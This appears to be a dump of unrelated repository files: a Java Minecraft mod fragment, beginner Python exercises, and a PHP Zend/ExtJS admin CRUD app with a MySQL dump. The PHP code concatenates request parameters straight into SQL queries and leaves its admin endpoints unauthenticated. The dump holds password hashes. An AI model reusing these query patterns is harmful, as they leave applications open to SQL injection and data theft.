array.get(i).getAsByte(); } return bArray; } public static byte[] getAsByteArray(JsonObject object) { int length = object.get("length").getAsInt(); byte[] array = new byte[length]; for(int i = 0; i < length; i++) { array[i] = object.get(Integer.toString(i)).getAsByte(); } return array; } public static JsonObject convertToJson(byte[] array) { JsonObject object = new JsonObject(); object.addProperty("length", array.length); for(int i = 0; i < array.length; i++) { object.addProperty(Integer.toString(i), array[i]); } return object; } public static String mcHexDigest(MessageDigest md) { byte[] array = md.digest(); boolean negative = array[0] < 0; if(negative) performTwosCompliment(array); String digest = byteArrayToHex(array); System.out.println(Arrays.toString(array)); digest = digest.replaceAll("^0+", ""); if (negative) digest = '-' + digest; return digest; } public static byte[] performTwosCompliment(byte[] array) { boolean carry = true; int i; byte newByte, value; for (i = array.length - 1; i >= 0; --i) { value = array[i]; newByte = (byte) (~value & 0xff); if (carry) { carry = newByte == 0xff; array[i] = (byte) ((newByte + 1) & 0xff); } else { array[i] = newByte; } } return array; } public static String byteArrayToHex(byte[] array) { StringBuilder sb = new StringBuilder(); for(byte b : array) sb.append(String.format("%02x", b & 0xff)); return sb.toString(); } } <file_sep>package shadowjay1.forge.simplelocator.gui; import java.io.IOException; import org.lwjgl.input.Keyboard; import net.minecraft.client.gui.GuiButton; import net.minecraft.client.gui.GuiScreen; import net.minecraft.client.gui.GuiTextField; import shadowjay1.forge.simplelocator.LocatorSettings; import shadowjay1.forge.simplelocator.MemberList; import shadowjay1.forge.simplelocator.SimpleLocator; public class GuiSetEncryptionKey extends GuiScreen { private String screenTitle = "Set encryption key"; private GuiScreen parent; private GuiTextField passphrase; public GuiSetEncryptionKey(GuiScreen parent) { this.parent = parent; } public void initGui() { Keyboard.enableRepeatEvents(true); passphrase = new GuiTextField(this.width / 2, this.fontRendererObj, this.width / 2 - 100, this.height / 2, 200, 20); passphrase.setText(SimpleLocator.settings.getEncryptionPassphrase()); passphrase.setFocused(true); this.buttonList.add(new GuiButton(100, this.width / 2 - 100, this.height / 2 + 88, 200, 20, "Done")); } public void onGuiClosed() { Keyboard.enableRepeatEvents(false); } protected void keyTyped(char par1, int par2) { if(this.passphrase.isFocused()) { this.passphrase.textboxKeyTyped(par1, par2); } if(par2 == Keyboard.KEY_RETURN) { SimpleLocator.settings.setEncryptionPassphrase(passphrase.getText()); SimpleLocator.networkThread.setEncryptPassword(passphrase.getText()); mc.displayGuiScreen(parent); } } public void updateScreen() { passphrase.updateCursorCounter(); } protected void actionPerformed(GuiButton par1GuiButton) { LocatorSettings settings = SimpleLocator.settings; if(par1GuiButton.enabled) { if(par1GuiButton.id == 100) { SimpleLocator.settings.setEncryptionPassphrase(passphrase.getText()); SimpleLocator.networkThread.setEncryptPassword(passphrase.getText()); mc.displayGuiScreen(parent); } SimpleLocator.saveConfiguration(); } } protected void mouseClicked(int par1, int par2, int par3) throws IOException { super.mouseClicked(par1, par2, par3); this.passphrase.mouseClicked(par1, par2, par3); } public void drawScreen(int par1, int par2, float par3) { this.drawDefaultBackground(); this.passphrase.drawTextBox(); this.drawCenteredString(this.fontRendererObj, this.screenTitle, this.width / 2, 15, 16777215); super.drawScreen(par1, par2, par3); } }
da64d4376a115a6ef8ff5f706faf7f95a39be430
[ "Markdown", "Java" ]
14
Java
auxiliary-character/SimpleLocator
77e425817a84a133c2b0089b3751c487906f05a0
ffbb758390215f94a02a659553825080ab72514c
refs/heads/master
<file_sep>#7:15-8:15 def function3(x,y): return x+y e=function3(1,2) print(e) <file_sep>minuto 9:10-10:20 #tarea #can you compute all multiples of 3 , 5 #that are less than 100 # con el programa que se hizo se sumo todos los elemnto multiplo de 3 y de 5 print(list(range(1,100))) total4=0 for i in range(1,100): if i%3==0 and i%5==0: total4+=i print(total4) <file_sep>#minuto 5:05-7:15 #a maping def function2(x): return 2*x a=function2(3) # return value or output print(a) b=function2(4) print(b) c=function2(5) print(c) <file_sep>#minuto 7:45-9:55 # se estar recorriendo con un ciclo for sumado los elemento positivos de la lista given_list2=[5,4,4,3,1,-2,-3,-5] total4=0 for element in given_list2: if element <=0: break total4+=element print(total4) <file_sep>#minuto 1:47-3:20 # podemos sumar los numero del elemento recprriendo la lista b=[20,10,5] total=0 for e in b: total=total+e print(total) <file_sep>#minuto 17:15-19:15 name="YK" height_m=2 weight_kg=73 bmi=weight_kg/(height_m**2) print("bmi: ") print(bmi) if bmi<24: print(name) print("is not overweight") else: print(name) print("is overweight") <file_sep>a=[3,10,-1] print (a) #1:20-3:10 a.append(1) print(a) a.append("hello") print(a) a.append([1,2]) print(a) <file_sep>#minuto 5:50-9:40 #diferente codigo para entender las difernerte manera de arreglos qje hay, diferenrte tipos y usos import numpy as np a=np.array([2,3,4]) print a a=np.array([1,12,2]) print a a=np.linspace(1,12,6) print a.reshape(3,2) print a print a.shape print a.dtype print a.itemsize <file_sep>#minuto 9:30-11:30 c=3 d=4 if c<d: print("c is less than d") else: print("c is not less than d") print("I dont think c is less than d") print("outside the if block") c=5 d=4 if c<d: print("c is less than d") else: print("c is not less than d") print("I dont think c is less than d") print("outside the if block") <file_sep># -*- coding: utf-8 -*- """ Created on Sat Aug 24 18:31:40 2019 @author: tomat """ # diccionario # minuto 1:00-6:57 # lo que se esta haciendo diccionario asinado valores a variable de numeros y palabras d={} # d={"George":24,"Tom":32} d["George"]=24 d["Tom"]=32 d["Jenny"]=16 print(d["George"]) print(d["Tom"]) print(d["Jenny"]) d["Jenny"]=20 print(d["Jenny"]) d[10]=100 print(d[10]) # how to iterate over key-value pairs? # se esta iterando los valores con sus nombres respectivos y su cantidad correspondiente for key, value in d.items(): print("key") print(key) print("value") print(value) print("") <file_sep>#minuto 12:30-13:18 #vamos imprimir la suma de los numeros positivos given_list3=[7,5,4,4,3,1,-2,-3,-5,-7] total6=0 i=0 while given_list3[i]>0: total6+=given_list3[i] i+=1 print(total6) <file_sep>#minutos 10:30-14:10 #bmi_calculadora nombre1="yo" altura1_metros=1.72 peso1_kg=72 nombre2="hermana" altura2_metros=1.67 peso2_kg=65 nombre3="hermano" altura3_metros=1.73 peso3_kg=75 def bmi_calculadora(nombre,altura_metros,peso_kg): bmi=peso_kg/(altura_metros**2) print("bmi:") print (bmi) if bmi<25: return nombre+ "no esta en sobrepeso" else: return nombre+ "si esta en sobrepeso" resultado1=bmi_calculadora(nombre1,altura1_metros,peso1_kg) resultado2=bmi_calculadora(nombre2,altura2_metros,peso2_kg) resultado3=bmi_calculadora(nombre3,altura3_metros,peso3_kg) print(resultado1) print(resultado2) print(resultado3) <file_sep>#minuto 6:45-9:10 # 1) como se calcula el resto # 2) se esta condicionando el recorrido de la lista haciendo que se sumen los numeros que tengan resto 0, los numeros de 1 al 7 print(5%3) print(1%3) print(6%3) total3=0 for i in range(1,8): if i%3==0: total3+=i print(total3) <file_sep>#while #minuto 1:00-2:55 #Lo que se esta haciendo con este algoritmo es tener sumar valorer (1+2+3+4) total2=0 j=1 while j<5: total2+=j j+=1 print(total2) <file_sep> #minuto 15:10-17:15 g=9 h=8 if g>h: print("g is less than h") else: if g==h: print("g is equal to h") else: print("g is greater than h") <file_sep>#minuto 9:30-10:30 def function5(some_argument): print(some_argument) print("weee") function5(4) <file_sep>#0:20-1:20 a=[3,10,-1] print (a) #1:20-3:10 a.append(1) print(a) a.append("hello") print(a) a.append([1,2]) print(a) #3:10-4:10 a.pop() print(a) a.pop() print(a) #4:10-5:30 print(a[0]) print(a[3]) <file_sep>#minutos 14:10-14:40 # pasar de millas a km def millas(x): return x*1.609 print("km") p=millas(2) print(p) <file_sep>#minuto 1:50-5:05 #a colelecction of instructions #a colelecction of code def function1(): print("ahhhhh") print("ahhhh 2") print("this is outside the function") function1() function1() <file_sep>#0:20-1:20 a=[3,10,-1] print (a) #1:20-3:10 a.append(1) print(a) a.append("hello") print(a) a.append([1,2]) print(a) #3:10-4:10 a.pop() print(a) a.pop() print(a) #4:10-5:30 print(a[0]) print(a[3]) #5:30-9:55 a[0]=100 print(a) b=["banana","apple","microsoft"] print(b) temp=b[0] b[0]=b[2] b[2]=temp print(b) b[0],b[2]=b[2],b[0] print(b) <file_sep>#minuto 11:30-15:10 e=7 f=8 if e<f: print("e is less than f") elif e==f: print("e is equal to f") else: print("e is greater than f") e=8 f=8 if e<f: print("e is less than f") elif e==f: print("e is equal to f") else: print("e is greater than f") e=10 f=8 if e<f: print("e is less than f") elif e==f: print("e is equal to f") else: print("e is greater than f") e=20 f=8 if e<f: print("e is less than f") elif e==f: print("e is equal to f") elif e>f+10: print("e is greater than f by more than 10") else: print("e is greater than f") <file_sep>#minuto 9:40-15:45 # diferente formas de arreglos #b=np.array(([1,5,2,3]),([4,5,6])) #print b #b=np.array(1,2,3) #print b #print a<4 a=np.ones((2,3)) print a a=np.ones(10) print a a=np.array([2,3,4], dtype=int16) print a.dtype a=np.random.random((2,3)) print a a=np.random.randint(1,10,6) print a <file_sep>#minuto 0:00-1:47 # como va corriendo los elemton en la lista a=["banana","apple","microsoft"] for element in a: print(element) #si impriminos 2 veces se ordena acorde de la posicion print(element) <file_sep>#minuto 4:50-6:00 # se recorre los elemento de la lista haciendo que se sumen entre ellos total2=0 for i in range(1,5): total2+=i print(total2) <file_sep> #minuto 2:55-6:10 # se esta recorriendo un while, por lo que se estan sumando los numero de la lista mayores a 0 given_list=[5,4,4,3,1,-2,-3,-5] total3=0 i=0 while given_list[i]>0: total3 += given_list[i] i+=1 print(total3) <file_sep>#minuto 6:00-6:45 #se imprime un range de una lista de 1 a 7 print(list(range(1,8))) <file_sep>#8:15-9:30 def function4(x): print(x) print("still in this function") return 3*x f=function4(4) print(f) <file_sep>minuto 3:20-4:50 #r haciendo una range,se hace una lista con cierta condiciones, tomando el numero inicial y tomando el numero anterior del ultimo #1,2,3,4 c=list(range(1,5)) print(c) #minuto 4:50-6:00 <file_sep>a=[3,10,-1] print (a) a.append(1) print(a) a.append("hello") print(a) a.append([1,2]) print(a) #3:10-4:10 a.pop() print(a) a.pop() print(a) <file_sep># minuto 0:00- 5:00 # se aprendio como hacer vectores de distijtas formas , dependiendo de la cantidad de fillas y columnas import numpy as np a=np.zeros(3) print a z=np.zeros(10) print z z.shape=(10,1) print z z=np.ones(10) print z z=np.empty(3) print z z=np.linspace(2,10,5) # from 2 to 10, with 5 elementes print z z=np.array([10,20]) print z a_list=[1,2,3,4,5,6,7] z=np.array([a_list]) print z b_list=[[9,8,7,6,5,4,3],[1,2,3,4,5,6,7]] z=np.array([b_list]) print z print (z.shape) <file_sep> #minuto 9:55-12:30 # se esta recorriendo con while true los elementos de la lista positivos given_list2=[5,4,4,3,1,-2,-3,-5] total5=0 i=0 while True: total5+=given_list2[i] i+=1 if given_list2[i] <=0: break print (total5) <file_sep>#minuto 6:10-7:45 # hubo un problema cuando hacemos una lista con solo numero positivo , por lo tanto este algoritmo nos va a permitir a solucionar esto given_list=[5,4,4,3,1] total3=0 i=0 while i<len(given_list) and given_list[i]>0: total3 += given_list[i] i+=1 print(total3)
9c03d73e41bfabeb9123de3b1ceff77b1a1bf907
[ "Python" ]
32
Python
TomasArteaga/MCOC-NIVELACION
2bdd03330724309c89078bef76f01c2ddf3b377d
1d952a8390ca3b58c2371c1a3c3a3f8a043ff0b9
refs/heads/master
<file_sep><?php class HrController extends Zend_Controller_Action{ public function init(){ $this->db = Zend_Db_Table::getDefaultAdapter(); $this->model = new Application_Model_Hr(); } public function indexAction(){ $this->redirect('menu'); } public function depAction(){ $data = $this->model->allDep(); $itemArray['dep'] = array_values($data); echo json_encode($itemArray,JSON_PRETTY_PRINT); // echo "string"; die(); } public function jabAction(){ $data = $this->model->allJab(); $itemArray['jab'] = array_values($data); echo json_encode($itemArray,JSON_PRETTY_PRINT); // echo "string"; die(); } public function insertdepAction(){ // print_r($_POST); // die(); $data = array( 'kd_department' => '', 'nama_department' => $_POST['nama'], 'desc_department' => $_POST['desc'], ); $sqlcek = $this->model->insertDep($data); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } die(); } public function searchdepAction(){ // die(print_r($_GET)); $id = $_GET['name']; if ($_GET['action'] === 'Kode') { $sqlcek = $this->model->cariDep($id); }elseif ($_GET['action'] === 'Department') { $sqlcek = $this->db->query('select * from tbl_department where nama_department like "%'.$id.'%"')->fetchAll(); }elseif ($_GET['action'] === 'Description') { $sqlcek = $this->db->query('select * from tbl_department where desc_department like "%'.$id.'%"')->fetchAll(); }else{ $error = 'kosong'; echo json_encode($error); die(); } if ($sqlcek) { $itemArray['dep'] = array_values($sqlcek); echo json_encode($itemArray,JSON_PRETTY_PRINT); die(); }else{ $error = 'kosong'; echo json_encode($error); die(); } } public function updatedepAction(){ header('Content-Type: text/plain'); $post = $_POST['data']; // Don't forget the encoding $decoded = json_decode($post, true); // die(print_r($decoded)); $data = array( 'kd_department' => $decoded['kd_department'], 'nama_department' => $decoded['nama_department'], 'desc_department' => $decoded['desc_department'] ); $sqlcek = $this->model->updateDep($data); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } public function deletedepAction(){ $depId = $_POST['name']; // die(print_r($_POST)); $cek = $this->model->delDep($depId); if ($cek){ $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } public function insertjabAction(){ $data = array( 'kd_jabatan' => '', 'kd_department' => $_POST['devisi'], 'nama_jabatan' => $_POST['jabatan'] ); $sqlcek = $this->model->insertJab($data); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } die(); } public function updatejabAction(){ header('Content-Type: text/plain'); $test = $_POST['data']; // Don't forget the encoding $decoded = json_decode($test, true); $data = array( 'kd_jabatan' => $decoded['kd_jabatan'], 'kd_department' => $decoded['nama_department'], 'nama_jabatan' => $decoded['nama_jabatan'], ); // die(print_r($data)); $sqlcek = $this->model->updateJab($data); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } public function searchjabAction(){ // die(print_r($_GET)); $action1 = $_GET['action1']; $action2 = $_GET['action2']; $search1 = $_GET['search1']; $search2 = $_GET['search2']; if ($action2 === 'nama_department') { $sqlcek = $this->db->query('SELECT * FROM tbl_jabatan LEFT JOIN tbl_department on tbl_jabatan.kd_department = tbl_department.kd_department WHERE tbl_jabatan.kd_jabatan LIKE "%'.$search1.'%" AND tbl_department.nama_department LIKE "%'.$search2.'%"')->fetchAll(); }else{ $sqlcek = $this->db->query('SELECT * FROM tbl_jabatan LEFT JOIN tbl_department on tbl_jabatan.kd_department = tbl_department.kd_department WHERE tbl_jabatan.kd_jabatan LIKE "%'.$search1.'%" AND tbl_jabatan.nama_jabatan LIKE "%'.$search2.'%"')->fetchAll(); } if ($sqlcek) { $itemArray['jab'] = array_values($sqlcek); echo json_encode($itemArray,JSON_PRETTY_PRINT); die(); }else{ $error = 'kosong'; echo json_encode($error,JSON_PRETTY_PRINT); die(); } } public function deletejabAction(){ $jabId = $_POST['name']; // die(print_r($_POST)); $cek = $this->model->delJab($jabId); if ($cek){ $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } public function exportexcelAction(){ $action1 = $_GET['action1']; $action2 = $_GET['action2']; $search1 = $_GET['search1']; $search2 = $_GET['search2']; if ($action2 === 'nama_department') { $data = $this->db->query('SELECT * FROM tbl_jabatan LEFT JOIN tbl_department on tbl_jabatan.kd_department = tbl_department.kd_department WHERE tbl_jabatan.kd_jabatan LIKE "%'.$search1.'%" AND tbl_department.nama_department LIKE "%'.$search2.'%"')->fetchAll(); }else if ($action1 === 'Kode') { $data = $this->db->query('SELECT * FROM tbl_jabatan LEFT JOIN tbl_department on tbl_jabatan.kd_department = tbl_department.kd_department WHERE tbl_jabatan.kd_jabatan LIKE "%'.$search1.'%" AND tbl_jabatan.nama_jabatan LIKE "%'.$search2.'%"')->fetchAll(); }else if ($action2 === 'nama_jabatan') { $data = $this->db->query('SELECT * FROM tbl_jabatan LEFT JOIN tbl_department on tbl_jabatan.kd_department = tbl_department.kd_department WHERE tbl_jabatan.kd_jabatan LIKE "%'.$search1.'%" AND tbl_jabatan.nama_jabatan LIKE "%'.$search2.'%"')->fetchAll(); }else{ $data = $this->model->allJab(); } // print_r($data); // die(); foreach ($data as $row ) { $productResult[] = array( 'No' => $row['kd_jabatan'], 'Jabatan' => $row['nama_jabatan'], 'Department' => $row['nama_department'], 'Description' => $row['desc_department'] ); } $filename = "Report-".date('Y-m-d').".xls"; header("Content-Type: application/vnd.ms-excel"); header("Content-Disposition: attachment; filename=\"$filename\""); $isPrintHeader = false; if (! empty($productResult)) { foreach ($productResult as $row) { if (! $isPrintHeader) { echo implode("\t", array_keys($row)) . "\n"; $isPrintHeader = true; } echo implode("\t", array_values($row)) . "\n"; } } exit(); } } <file_sep># CRUD-Zend1-ExtJS <file_sep><?php class AdminController extends Zend_Controller_Action{ const SESSION_NAMESPACE = 'userRegister'; protected $session; public function init(){ /* Initialize action controller here */ $this->db = Zend_Db_Table::getDefaultAdapter(); $this->model = new Application_Model_Admin(); $this->session = new Zend_Session_Namespace(self::SESSION_NAMESPACE); // $this->getsecurity(); } function getsecurity(){ $username = $this->session->user['username_admin']; if ($username) { $this->redirect('admin'); }else{ $this->redirect('login'); } } public function indexAction(){ $this->redirect('menu'); } public function getadminAction(){ $data = $this->model->allAdmin(); $itemArray['users'] = array_values($data); echo json_encode($itemArray,JSON_PRETTY_PRINT); die(); } public function deleteAction(){ $adminId = $_POST['name']; $cek = $this->model->deleteAdmin($adminId); if ($cek){ $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } public function viewAction(){ // $this->getsecurity(); $adminId = $this->_getparam('id' , 0); // print_r($adminId); $sqlcek = $this->model->viewAdmin($adminId); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); } } public function updatejsonAction(){ header('Content-Type: text/plain'); $test = $_POST['data']; // Don't forget the encoding $decoded = json_decode($test, true); $data = array( 'kd_admin' => $decoded['kd_admin'], 'nama_admin' => $decoded['nama_admin'], 'email_admin' => $decoded['email_admin'], 'no_hp_admin' => $decoded['no_hp_admin'] ); $sqlcek = $this->model->updateAdmin($data); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } public function insertAction(){ // $this->getsecurity(); $data = array( 'kd_admin' => '', 'username_admin' => strtolower($_POST['username']), 'password_admin' => password_hash(strtolower($_POST['password']),PASSWORD_DEFAULT), 'nama_admin' => $_POST['nama'], 'email_admin' => $_POST['email'], 'no_hp_admin' => $_POST['nomor'], 'level_admin' => 1, 'create_date_admin' => date('Y-m-d H:i:s'), 'img_admin' => 'assets/dist/img/default.png' ); $sqlcek = $this->model->insertAdmin($data); if ($sqlcek) { $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } function searchAction() { // die(print_r($_GET['action'])); $id = $_GET['name']; if ($_GET['action'] === 'Kode') { $sqlcek = $this->model->cariAdmin($id); }elseif ($_GET['action'] === 'Nama') { $sqlcek = $this->db->query('select * from tbl_admin where nama_admin like "'.$id.'%"')->fetchAll(); }elseif ($_GET['action'] === 'Email') { $sqlcek = $this->db->query('select * from tbl_admin where email_admin like "'.$id.'%"')->fetchAll(); }elseif ($_GET['action'] === 'Nomor') { $sqlcek = $this->db->query('select * from tbl_admin where no_hp_admin like "'.$id.'%"')->fetchAll(); }else{ $error = 'kosong'; echo json_encode($error); die(); } if ($sqlcek) { $itemArray['users'] = array_values($sqlcek); echo json_encode($itemArray,JSON_PRETTY_PRINT); die(); }else{ $error = 'kosong'; echo json_encode($error); die(); } } function get_kod(){ $q = $this->db->query("SELECT MAX(RIGHT(kd_admin,3)) AS kd_max FROM tbl_admin")->fetchAll(); $kd = ""; if(count($q)>0){ foreach($q as $k){ $tmp = ((int)$k->kd_max)+1; $kd = sprintf("%03s", $tmp); } }else{ $kd = "001"; } return "A".$kd; } } <file_sep><?php class Application_Model_Hr extends Zend_Db_Table { function init(){ /* Initialize action controller here */ $this->db = Zend_Db_Table::getDefaultAdapter(); } function allDep(){ $result = $this->db->query("SELECT * FROM tbl_department")->fetchAll(); // die(print_r($result)); return $result; } function allJab(){ $result = $this->db->query("SELECT * FROM tbl_jabatan,tbl_department WHERE tbl_department.kd_department = tbl_jabatan.kd_department ")->fetchAll(); // die(print_r($result)); return $result; } function cariDep($id=''){ $result = $this->db->query('SELECT * from tbl_department where kd_department LIKE "%'.$id.'%"')->fetchAll(); // die(print_r($result)); return $result; } function delDep($id=''){ $result = $this->db->query('DELETE FROM tbl_department WHERE kd_department = "'.$id.'" '); // die(print_r($result)); return $result; } function updateDep($data=''){ $result = $this->db->query("UPDATE tbl_department SET nama_department = '".$data['nama_department']."' , desc_department = '".$data['desc_department']."' WHERE kd_department = '".$data['kd_department']."' "); // die(print_r($result)); return $result; } function insertDep($data=''){ $result = $this->db->query('INSERT INTO tbl_department (kd_department, nama_department , desc_department ) VALUES ("'.$data['kd_department'].'","'.$data['nama_department'].'", "'.$data['desc_department'].'")'); // die(print_r($result)); return $result; } function insertJab($data=''){ $result = $this->db->query('INSERT INTO tbl_jabatan ( kd_jabatan, kd_department, nama_jabatan ) VALUES ("'.$data['kd_jabatan'].'","'.$data['kd_department'].'","'.$data['nama_jabatan'].'")'); // die(print_r($result)); return $result; } function updateJab($data=''){ $result = $this->db->query("UPDATE tbl_jabatan SET nama_jabatan = '".$data['nama_jabatan']."' , kd_department = '".$data['kd_department']."' WHERE kd_jabatan = '".$data['kd_jabatan']."' "); // die(print_r($result)); return $result; } function cariJab($id=''){ $result = $this->db->query('SELECT * FROM tbl_jabatan LEFT JOIN tbl_department on tbl_jabatan.kd_department = tbl_department.kd_department WHERE tbl_jabatan.kd_jabatan LIKE "%'.$id.'%" ')->fetchAll(); // die(print_r($result)); return $result; } function delJab($id=''){ $result = $this->db->query('DELETE FROM tbl_jabatan WHERE kd_jabatan = "'.$id.'" '); // die(print_r($result)); return $result; } } <file_sep><?php class LoginController extends Zend_Controller_Action{ const SESSION_NAMESPACE = 'userRegister'; protected $session; public function init() { /* Initialize action controller here */ $this->db = Zend_Db_Table::getDefaultAdapter(); $this->model = new Application_Model_Admin(); $this->session = new Zend_Session_Namespace('login'); } public function indexAction(){ $this->view->title = "Login"; //$this->view->ipaddres = $this->getUserIP(); } public function cekloginAction(){ $username = strtolower($_POST['username']); $ambil = $this->model->cekAdmin($username); $password = strtolower($_POST['password']); if (password_verify($password,$ambil['password_<PASSWORD>'])) { $sess = array( 'kd_admin' => $ambil['kd_admin'], 'username_admin' => $ambil['username_admin'], 'password_admin' => $<PASSWORD>['<PASSWORD>'], 'nama_admin' => $ambil['nama_admin'], 'img_admin' => $ambil['img_admin'], 'email_admin' => $ambil['email_admin'], 'level' => $ambil['level_admin'] ); //die(print_r($sess)); $this->session = $sess; $data = "Success"; echo json_encode($data); die(); }else{ $data = "Failed"; echo json_encode($data); die(); } } function logoutAction() { session_destroy(); $this -> redirect('login'); } function getUserIP() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } } <file_sep>// // Note that these are all defined as panel configs, rather than instantiated // as panel objects. You could just as easily do this instead: // // var absolute = Ext.create('Ext.Panel', { ... }); // // However, by passing configs into the main container instead of objects, we can defer // layout AND object instantiation until absolutely needed. Since most of these panels // won't be shown by default until requested, this will save us some processing // time up front when initially rendering the page. // // Since all of these configs are being added into a layout container, they are // automatically assumed to be panel configs, and so the xtype of 'panel' is // implicit. To define a config of some other type of component to be added into // the layout, simply provide the appropriate xtype config explicitly. // function getHrLayouts() { // This is a fake CardLayout navigation function. A real implementation would // likely be more sophisticated, with logic to validate navigation flow. It will // be assigned next as the handling function for the buttons in the CardLayout example. return { /* * ================ Start page config ======================= */ // The default start page, also a simple example of a FitLayout. start: { id: 'start-panel', title: 'Home Page', layout: 'fit', autoScroll: true, bodyPadding: 15, contentEl: 'start-div', }, department: { id: 'department-panel', title: 'Department ', layout: 'fit', autoScroll: true, bodyPadding: 15, }, jabatan: { id: 'jabatan-panel', title: 'Jabatan', layout:'fit', autoScroll: true, bodyPadding: 15, }, report: { id: 'report-panel', title: 'report', layout:'fit', autoScroll: true, bodyPadding: 15, }, }; } <file_sep>-- phpMyAdmin SQL Dump -- version 4.8.4 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: May 16, 2019 at 12:11 PM -- Server version: 10.1.37-MariaDB -- PHP Version: 5.6.39 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `dbtest` -- -- -------------------------------------------------------- -- -- Table structure for table `tbl_admin` -- CREATE TABLE `tbl_admin` ( `kd_admin` int(50) NOT NULL, `username_admin` varchar(50) NOT NULL, `password_<PASSWORD>` varchar(256) NOT NULL, `nama_admin` varchar(100) DEFAULT NULL, `email_admin` varchar(50) DEFAULT NULL, `no_hp_admin` varchar(50) DEFAULT NULL, `img_admin` varchar(256) DEFAULT NULL, `level_admin` int(11) DEFAULT NULL, `create_date_admin` datetime DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `tbl_admin` -- INSERT INTO `tbl_admin` (`kd_admin`, `username_admin`, `password_<PASSWORD>`, `nama_admin`, `email_admin`, `no_hp_admin`, `img_admin`, `level_admin`, `create_date_admin`) VALUES (1, 'admin', '$2y$10$/QU9h5JnAxk/KqHkXg6Q0u5LsPLu1pHHdHGnD/WtlKyGRak5amLjm', 'aku ', '<EMAIL>', '89682261128', 'assets/dist/img/default.png', 2, '0000-00-00 00:00:00'), (17, 'bahyu', '$2y$10$g.Tg3eAcI8F7jOdo0k2CluwhUPKRDWB74rLimW3OFm/zRsddfdqPW', 'mereka', '<EMAIL>', '564564564', 'assets/dist/img/default.png', 1, '2019-05-06 08:30:11'), (27, 'saya', '$2y$10$GXYGAOrLOBjsBT/MhqQz3eSykWgsGxyjQhjR8MLugolm.U50MmRpK', 'sayadasdas', '<EMAIL>', '5644', 'assets/dist/img/default.png', 1, '2019-05-13 04:49:34'), (31, 'tes', '$2y$10$6ZuY6XWzkCb0VgywFpo4v.kbSKE1s3qxTegEt7p5vU0YS25xFu5yy', 'test', '<EMAIL>', '0877', 'assets/dist/img/default.png', 1, '2019-05-13 11:45:42'), (32, 'dasdsa', '$2y$10$feOjfoeVftAC0i3mv2EFAum70cIT/LTpVPWh7vMwPq05ZOLB7crHS', 'dasdas', '<EMAIL>', 'as<PASSWORD>', 'assets/dist/img/default.png', 1, '2019-05-14 03:42:38'), (33, 'das', '$2<PASSWORD>$XuOg<PASSWORD>EC1Fl<PASSWORD>.0<PASSWORD>', 'das', '<EMAIL>', 'adsdas', 'assets/dist/img/default.png', 1, '2019-05-14 04:28:36'); -- -------------------------------------------------------- -- -- Table structure for table `tbl_department` -- CREATE TABLE `tbl_department` ( `kd_department` int(11) NOT NULL, `nama_department` varchar(100) DEFAULT '0' ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `tbl_department` -- INSERT INTO `tbl_department` (`kd_department`, `nama_department`) VALUES (1, 'IT'), (2, 'Sales'), (3, 'Finance'), (4, 'Adminstartor'), (6, 'GA'), (40, 'HRD'), (41, 'Procrutment'); -- -------------------------------------------------------- -- -- Table structure for table `tbl_jabatan` -- CREATE TABLE `tbl_jabatan` ( `kd_jabatan` int(11) NOT NULL, `kd_department` int(11) DEFAULT NULL, `nama_jabatan` varchar(100) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `tbl_jabatan` -- INSERT INTO `tbl_jabatan` (`kd_jabatan`, `kd_department`, `nama_jabatan`) VALUES (1, 1, 'IT Manager'), (2, 1, 'IT Software'), (3, 1, 'IT Analis'), (4, 1, 'IT System'), (5, 2, 'Telemarketing'), (6, 1, 'IT QA'), (7, 3, 'Akunting'), (10, 40, 'Recrutment'), (11, 41, 'Internal'); -- -- Indexes for dumped tables -- -- -- Indexes for table `tbl_admin` -- ALTER TABLE `tbl_admin` ADD PRIMARY KEY (`kd_admin`); -- -- Indexes for table `tbl_department` -- ALTER TABLE `tbl_department` ADD PRIMARY KEY (`kd_department`); -- -- Indexes for table `tbl_jabatan` -- ALTER TABLE `tbl_jabatan` ADD PRIMARY KEY (`kd_jabatan`), ADD KEY `kd_department` (`kd_department`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `tbl_admin` -- ALTER TABLE `tbl_admin` MODIFY `kd_admin` int(50) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=34; -- -- AUTO_INCREMENT for table `tbl_department` -- ALTER TABLE `tbl_department` MODIFY `kd_department` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=42; -- -- AUTO_INCREMENT for table `tbl_jabatan` -- ALTER TABLE `tbl_jabatan` MODIFY `kd_jabatan` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; COMMIT; 